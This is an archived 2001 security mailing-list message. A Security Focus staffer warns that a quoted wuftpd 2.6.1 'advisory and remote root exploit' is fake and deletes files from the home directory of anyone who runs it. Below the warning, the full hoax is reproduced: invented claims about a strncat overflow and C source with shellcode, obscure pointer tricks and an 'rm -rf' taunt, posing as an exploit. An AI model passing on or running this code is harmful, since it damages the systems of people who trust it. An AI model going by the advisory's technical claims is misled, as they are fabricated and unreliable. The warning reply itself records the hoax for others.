Re: wuftpd 2.6.1 advisory/exploit

From: Cade Cairns (cairnscat_private)
Date: Wed Sep 19 2001 - 08:44:27 PDT

  • Next message: Blue Boar: "Administrivia - Nimda"

    This is not a real advisory.  David Ahmad did a quick analysis of this the
    other day.  Do *not* attempt to run this exploit, it will result in the
    removal of files from your home directory.
    
    Cade Cairns
    Security Focus
    http://www.securityfocus.com/
    
    On Wed, 19 Sep 2001, Carolyn Meinel wrote:
    
    > Hello,
    >
    > In the interests of full disclosure, I am posting an exploit that was
    > developed single-handedly by my good friend Andrew Plughes over the
    > weekend. I had absolutely no part in the discovery of this serious
    > vulnerability, so I won't soak in Andrew's credit ;).
    >
    > I have also mirrored this advisory+exploit on my website:
    >
    > http://www.techbroker.com/wu261.txt
    >
    > It's been a pleasure having Andrew as a cohort over the years, and
    > I'd like to thank him for selflessly dedicating himself to security
    > research.
    >
    > We acknowledge a risk involved in submitting exploit code to a
    > public forum, with the possibility of characters of low demeanour
    > getting their hands on it. After lengthy discussions, we decided
    > that the work required to exploit the vulnerability is sufficient
    > to raise the bar on using it.
    >
    > Yours truly,
    >
    > Carolyn Meinel
    > cmeinelat_private
    >
    > ---
    >
    > Carolyn, my initial ideas about the vulnerability were not entirely
    > accurate, but I have confirmed that it -does- indeed exist. I am
    > enclosing some code that will spawn a remote root shell on vulnerable
    > systems, although it does require some effort to get it up and running.
    > It works against some Linux machines Bill gave me access to, and I
    > suspect it will work against the BSDs (chroot-breaking is not a
    > problem).
    >
    > At your request, I have sent the developers the intricate details
    > of the hole in wuftpd 2.6.1 (and 2.6.0, but not in 2.5.x as far as
    > I can see). To outline the vulnerability for Bugtraq:
    >
    > - The overflow occurs in the pre-authentication stages of the
    >   client session.
    >
    > - During the transition to the 2.6.x releases, the wuftpd
    >   development team redesigned the command processing code
    >   in the daemon. Earlier releases are not believed to be
    >   vulnerable to similar problems.
    >
    > - There is a strncat() cast overflow in the way a signed
    >   integer derived from a malicious command length is used as
    >   the third argument in an attempt to confine data within a
    >   buffer allocated on the stack (they don't believe a command
    >   containing 1 character will occur). If we make the signed
    >   integer negative, we are granted the ability to transform the
    >   third argument to strncat() into a HUGE positive value.
    >   However, because (signed_integer + 2) is used to dynamically
    >   allocate memory elsewhere with malloc(), we should set this
    >   integer to -2, or preferably -1. There will be subsequent
    >   heap corruption, but this occurs after the stack smash. That
    >   may be worth looking at too.
    >
    > - We can only overflow by one byte because of the call to
    >   exit() that will be made if strlen() flags the string
    >   as being too large. As luck would have it, the target
    >   buffer is adjacent to the saved frame pointer in the
    >   vulnerable function, and we can take advantage of this
    >   in a similar way to the OpenBSD ftpd vulnerability.
    >
    > I have sent a patch to the wuftpd developers, but it just
    > checks for the evil negative integer created indirectly as
    > a result of the short command. I'm sure the developers will
    > release a more involved patch within the next few days.
    >
    > Disable the daemon immediately. While this is not something
    > that will be easily exploited (my demonstration exploit needs
    > some work), it is a very serious threat.
    >
    > --
    > Andrew Plughes
    > Network security aficionado / UNIX administrator
    >
    >
    > /*
    >  * wu261.c
    >  * wuftpd 2.6.1 exploit (remote root)
    >  *
    >  * Vulnerability and code from Andrew Plughes.
    >  *
    >  * Usage: (./wu261 [address]; cat) | nc host 21
    >  * address = argument location on heap (defeats Openwall)
    >  *
    >  * Demonstrates a flaw in the pre-authentication code of
    >  * wuftpd 2.6.x which allows us to gain control of the
    >  * target process by displacing a saved frame pointer.
    >  *
    >  * Tested against some Linux distributions.
    >  *
    >  * I'd like to thank Bill Harrington for providing me
    >  * with some test boxes.
    >  *
    >  */
    >
    > #include <stdio.h>
    > #include <stdlib.h>
    > #include <string.h>
    >
    > unsigned char linux_x86[] =
    > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    > "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    >
    >
    > unsigned char *shellcode = linux_x86;
    >
    >
    > //#define POTS 12                       /* fill these in for your
    > #define DEF_ALGN 1                       * target system
    > //#define HEAP_ADDR 0x41414141           */
    >
    >
    > int main(int argc, char *argv[])
    > {
    >         int i;
    >         unsigned long attack[1028 / 4];
    >
    > /* redhat 7.0 */
    > #define ADDR 0x08049588
    > #define POSITION_OF_THE_STRING 16
    > #define target (unsigned long)
    >
    > // unsigned long arg_addr = target HEAP_ADDR, align = DEF_ALGN;
    >
    >         unsigned long arg_addr = ADDR, align = DEF_ALGN,
    >         pots = POSITION_OF_THE_STRING;
    >
    >         if(argc == 2)
    >         arg_addr = strtoul(argv[1], NULL, 0);
    >
    >         system("clear");
    >         fputs("wuftpd 2.6.1 exploit\n", stderr);
    >         fputs("developed by Andrew Plughes\n", stderr);
    >
    >         for(i = 0; i < 1028 / 4; i++)
    >         attack[i] = arg_addr;
    >
    >         /* trigger the cast overflow with this command */
    >         sprintf((char *)attack, "U aa"); // "aa" -> for "\r\n"
    >
    >         /* position of the string */
    >         for(i = 0; i < 4; i++)
    >         sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);
    >
    >         /* function var position */
    >         pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
    >         /* set the function var accordingly */
    >         *(unsigned long *)pots = align;
    >
    >         /* spaces for the process alignment */
    >         sprintf((char *)attack+20, "%*s", align % 4, "    ");
    >
    >         printf("USER %s\r\n", shellcode);
    >         printf("%s\r\n", attack);
    >         puts("echo ~ ok, it seems to have worked... remember: \");
    >         puts("rm -rf is not elite ~");
    >
    >         exit(0);
    > }
    >
    



    This archive was generated by hypermail 2b30 : Thu Sep 20 2001 - 09:57:10 PDT